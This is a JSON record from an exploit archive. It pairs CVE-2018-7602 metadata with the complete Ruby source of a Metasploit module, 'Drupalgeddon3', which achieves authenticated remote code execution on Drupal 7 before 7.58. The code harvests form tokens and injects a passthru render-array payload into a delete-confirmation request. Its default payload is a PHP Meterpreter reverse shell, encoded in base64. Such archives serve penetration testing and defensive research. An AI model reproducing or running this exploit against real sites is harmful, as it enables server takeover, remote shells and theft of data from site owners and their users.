{"exploit":{"id":"EDB-44557","name":"Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit)","description":"Drupal < 7.58 - 'Drupalgeddon3' Authenticated Remote Code (Metasploit)","cves":["CVE-2018-7602"],"author":"SixP4ck3r","published":"2018-04-30","platform":"php","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44557","path":"exploits/php/webapps/44557.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44557.rb","vulnerabilities":[{"id":"CVE-2018-7602","state":"PUBLISHED","title":"Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-004","titleSource":"CVE Program","description":"A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-7602","cvss":{"version":"3.1","baseScore":8.1,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2018-7602"},"updatedAt":"2026-10-01T20:28:55.110Z","retrievedAt":"2026-11-26T14:49:14.966Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44557.png?v=2","url":"https://exploitbin.com/exploits/EDB-44557","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44557/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44557/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n    Rank = ExcellentRanking\n\n    include Msf::Exploit::Remote::HttpClient\n\n    def initialize(info={})\n      super(update_info(info,\n        'Name'           => 'Drupalgeddon3',\n        'Description'    => %q{\n          CVE-2018-7602 / SA-CORE-2018-004\n          A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x.\n          This potentially allows attackers to exploit multiple attack vectors on a Drupal site\n          Which could result in the site being compromised.\n          This vulnerability is related to Drupal core - Highly critical - Remote Code Execution\n\n          The module can load msf PHP arch payloads, using the php/base64 encoder.\n\n          The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'\n        },\n        'License'        => MSF_LICENSE,\n        'Author'         =>\n          [\n            'SixP4ck3r',   # Research and port to MSF\n            'Blaklis'      # Initial PoC\n          ],\n        'References'     =>\n          [\n            ['SA-CORE', '2018-004'],\n            ['CVE', '2018-7602'],\n          ],\n        'DefaultOptions'  =>\n        {\n          'encoder' => 'php/base64',\n          'payload' => 'php/meterpreter/reverse_tcp',\n        },\n        'Privileged'     => false,\n        'Platform'       => ['php'],\n        'Arch'           => [ARCH_PHP],\n        'Targets'        =>\n          [\n            ['User register form with exec', {}],\n          ],\n        'DisclosureDate' => 'Apr 29 2018',\n        'DefaultTarget'  => 0\n      ))\n\n      register_options(\n        [\n          OptString.new('TARGETURI', [ true, \"The target URI of the Drupal installation\", '/']),\n          OptString.new('DRUPAL_NODE', [ true, \"Exist Node Number (Page, Article, Forum topic, or a Post)\", '1']),\n          OptString.new('DRUPAL_SESSION', [ true, \"Authenticated Cookie Session\", '']),\n        ])\n\n      register_advanced_options(\n        [\n\n        ])\n    end\n\n    def uri_path\n      normalize_uri(target_uri.path)\n    end\n\n    def start_exploit\n      drupal_node = datastore['DRUPAL_NODE']\n      res = send_request_cgi({\n        'cookie' => datastore['DRUPAL_SESSION'],\n        'method'   => 'GET',\n        'uri'      => \"#{uri_path}/node/#{drupal_node}/delete\"\n      })\n      form_token = res.body.scan( /form_token\" value=\"([^>]*)\" \\/>/).last.first\n      print \"[*] Token Form -> #{form_token}\\n\"\n      r2 = send_request_cgi({\n        'method'    => 'POST',\n        'cookie' => datastore['DRUPAL_SESSION'],\n        'uri'       => \"#{uri_path}/?q=node/#{drupal_node}/delete&destination=node?q[%2523post_render][]=passthru%26q[%2523type]=markup%26q[%2523markup]=php%20-r%20'#{payload.encoded}'\",\n        'vars_post' => {\n        'form_id'   => 'node_delete_confirm',\n        '_triggering_element_name' => 'form_id',\n        'form_token'=> \"#{form_token}\"\n        }\n      })\n      form_build_id = r2.body.scan( /form_build_id\" value=\"([^>]*)\" \\/>/).last.first\n      print \"[*] Token Form_build_id -> #{form_build_id}\\n\"\n      r3 = send_request_cgi({\n        'method'    => 'POST',\n        'cookie' => datastore['DRUPAL_SESSION'],\n        'uri'       => \"#{uri_path}/?q=file/ajax/actions/cancel/%23options/path/#{form_build_id}\",\n        'vars_post' => {\n        'form_build_id'   => \"#{form_build_id}\"\n        }\n      })\n    end\n\n    def exploit\n      case datastore['TARGET']\n      when 0\n        start_exploit\n      else\n        fail_with(Failure::BadConfig, \"Your target is invalid.\")\n      end\n    end\n  end","sha256":"af143df45ba7ab430001179f6a4ceb1cad37804faed18aea4834d41b647eaa3f","bytes":3701,"fetchedAt":"2026-11-27T05:08:58.437Z","encoding":"utf-8 (display only; download retains original bytes)"}